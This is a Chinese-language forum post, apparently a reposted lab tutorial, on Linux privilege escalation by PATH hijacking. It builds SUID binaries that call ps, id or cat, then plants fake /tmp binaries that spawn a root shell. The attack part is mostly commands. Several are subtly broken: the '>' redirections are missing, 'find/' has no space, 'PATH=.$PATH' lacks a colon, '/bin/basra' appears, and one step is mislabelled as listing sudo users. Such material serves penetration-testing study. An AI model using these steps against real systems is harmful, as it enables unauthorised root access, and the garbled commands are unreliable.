標題:使用PATH變量進行Linux權限升級技巧

taibeihacker

Moderator

0x00 前言​

在解決了幾個OSCP挑戰之後,我們決定寫一篇關於用於Linux權限升級的各種方法的文章,這對我們的讀者在其滲透測試項目中有所幫助。在本文中,我們將學習“使用$path變量的各種方法”以獲得遠程主機的root訪問權限,以及CTF挑戰所使用的技術,以生成導致權限提升的$path漏洞。如果你已經解決了CTF後利用的挑戰,那麼通過閱讀本文,您將認識到導致權限提升的幾個漏洞。

0x001 PATH变量介绍

PATH是Linux和Unix操作系統中的環境變量,它指定存儲所有可執行程序的所有bin和sbin目錄。當用戶在終端上運行任何命令時,它請求shell在path變量的幫助下搜索可執行文件,以響應用戶執行的命令。超級用戶通常還具有/sbin和/usr/sbin權限,以便輕鬆執行系統管理命令。
借助echo命令查看相關用戶的路徑非常簡單。
echo $PATH
/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
如果你注意到'.'符號,那麼在環境PATH變量中,它意味著已登錄的用戶可以從當前目錄執行二進製文件和腳本,這對於攻擊者提升root權限是一種很好的技術。這是由於在編寫程序時缺乏注意,因此管理員沒有指定程序的完整路徑。

0x03 PATH变量提权方法一

1.Ubuntu实验设置

目前,在/home/raj目錄中,我們將在其中創建一個以名稱作為腳本的新目錄。現在在腳本目錄中,我們將編寫一個小的C程序來調用系統二進製文件的函數。
pwd
mkdir script
cd script
nano demo.c
l0x2xjqyvzy22832.png

正如您在demo.c文件中所看到的那樣,我們正在調用ps命令(進程狀態),它是系統二進製文件。
445zwgbakq522833.png

然後使用gcc編譯demo.c文件,並將suid權限提升到編譯文件
ls
gcc demo.c -o shell
chmod u+s shell
ls -la shell
pn1yj1cw1u222834.png

2.权限提升​

首先,您需要攻擊目標系統,然後進入到權限提升階段。假設您使用普通用戶通過ssh成功地登錄到受害者的主機。然後在沒有浪費時間的情況下,在Find命令的幫助下搜索具有SUID或4000權限的文件。
find/-perm -u=s -type f 2/dev/null
因此,在上述命令的幫助下,攻擊者可以枚舉任何可執行文件,這裡我們還可以看到/home/raj/script/shell具有suid權限。
y32ztjrxohh22835.png

然後,我們進入/home/raj/script目錄中並看到一個可執行文件“shell”。所以我們運行這個文件,在這裡看起來這個文件正在嘗試運行ps,這是/bin中的一個真實文件,用於獲取進程狀態。
ls
./shell
1b4kggsoluy22836.png

(1) echo命令:第一种生成root权限的技术​

cd /tmp
echo '/bin/bash' ps
chmod 777 ps
echo $PATH
export PATH=/tmp:$PATH
cd /home/raj/script
./shell
whoami
5ecdz1be2w522837.png

(2)复制命令-第二种生成root权限的技术​

cd /home/raj/script/
cp /bin/sh /tmp/ps
echo $PATH
export PATH=/tmp:$PATH
./shell
whoami
nipmzypg4fc22838.png

(3)symlink命令-第三种生成root权限的技术​

ln -s /bin/sh ps
export PATH=.$PATH
./shell
id
whoami
注意:symlink也稱為符號鏈接,如果目錄具有執行權限,它將成功運行。在Ubuntu中有symlink的情況下,我們已將/script目錄賦予777權限
因此,我們看到攻擊者可以使用環境變量PATH來提升權限並獲得root訪問權限。
avts0ywdj3b22839.png

0x04 PATH变量提权方法二

1.Ubuntu实验设置

重複上面相同的步驟來配置你自己的實驗,現在在腳本目錄中,我們將編寫一個小的c程序來調用系統二進製文件的函數。
pwd
mkdir script
cd /script
nano test.c
正如您在我們的test.c文件中看到的那樣,我們正在調用id命令,即係統二進製文件。
xzqxhrj1c1522840.png

然後使用gcc編譯test.c文件,並將suid權限提升到編譯後的文件
ls
gcc test.c -o shell2
chmod u+s shell2
ls -la shell2
ggsrc5amedp22841.png

2.权限提升

同樣,您需要攻擊目標系統,然後進入到特權提升階段。假設您使用普通用戶通過ssh成功地登錄到受害者的主機。然後在沒有浪費時間的情況下,在Find命令的幫助下搜索具有SUID或4000權限的文件。在這裡,我們還可以看到/home/raj/script/shell2是否具有suid權限。
find/-perm -u=s -type f 2/dev/null
然後我們進入/home/raj/script目錄,並看到一個可執行文件“shell2”。所以我們運行這個文件,看起來shell2正在嘗試運行id,這是/bin中的一個真實文件。
cd /home/raj/script/
ls
./shell2
gurcqc435y222842.png

(1) Echo命令​

cd /tmp
echo '/bin/bash' id
chmod 777 id
echo $PATH
export PATH=/tmp:$PATH
cd /home/raj/script
./shell2
whoami
t4nvu4zlvli22843.png

0x05 PATH变量提权方法三

1.Ubuntu实验设置

重複以上步驟來設置自己的實驗,正如您在raj.c文件中看到的那樣,我們調用cat命令從etc/passwd文件內讀取其內容。
vatdbeybglg22844.png

然後使用gcc編譯raj.c文件,並將suid權限提升到編譯後的文件。
ls
gcc raj.c -o raj
chmod u+s raj
ls -la raj
xjzggcrwo3522845.png

2.权限提升

再次攻擊受害者的系統,然後進入權限升級階段,執行以下命令查看sudo用戶列表。
find/-perm -u=s -type f 2/dev/null
在這裡我們還可以看到/home/raj/script/raj擁有suid權限,然後我們進入/home/raj/script目錄,並看到一個可執行文件“raj”。因此,當我們運行這個文件時,它將會查看到etc/passwd文件的內容。
cd /home/raj/script/
ls
./raj
vydfnwcd51k22846.png

(1) Nano Editor:第四种权限提升技术​

cd /tmp
nano cat
現在,當終端打開並輸入/bin/basra,然後進行保存
tbiaal1gzvp22847.png

chmod 777 cat
ls -al cat
echo $PATH
export PATH=/tmp:$PATH
cd /home/raj/script
./raj
whoami
1s1ll0jopjq22848.png

0x06 PATH变量提权方法四

1.Ubuntu实验设置

重複上面的步驟來設置你自己的實驗,正如您在demo.c文件中看到的那樣,我們調用cat命令來讀取msg.txt內容,該文件在/home/raj中,但實際在/home/raj中沒有這樣的文件。
wflefrps4pc22849.png

然後使用gcc編譯demo.c文件,並將SUID權限提升到編譯後的文件
ls
gcc demo.c -o ignite
chmod u+s ignite
ls -la ignite
hhmkvupmy3422850.png

2.权限提升

再次攻擊受害者的系統,然後進入到權限升級階段,執行以下命令查看sudo用戶列表。
find/-perm -u=s -type f 2/dev/null
在這裡,我們還可以看到/home/raj/script/ignite擁有suid權限,然後我們進入/home/raj/script目錄,並看到一個可執行文件“ignite”。所以當我們運行這個文件時,它會輸出錯誤“cat:/home/raj/msg.txt”作為結果。
cd /home/raj/script/
ls
./ignite
f5qbdi5oi3z22851.png

(1) vi编辑器-第五种权限提升技术​

cd /tmp
vi cat
現在,當終端打開並輸入/bin/basra,然後進行保存
h01bz0dvaug22852.png

chmod 777 cat
echo $PATH
export PATH=/tmp:$PATH
cd /home/raj/script
./ignite
whoami
f30p41iwayi22853.png
 
返回
上方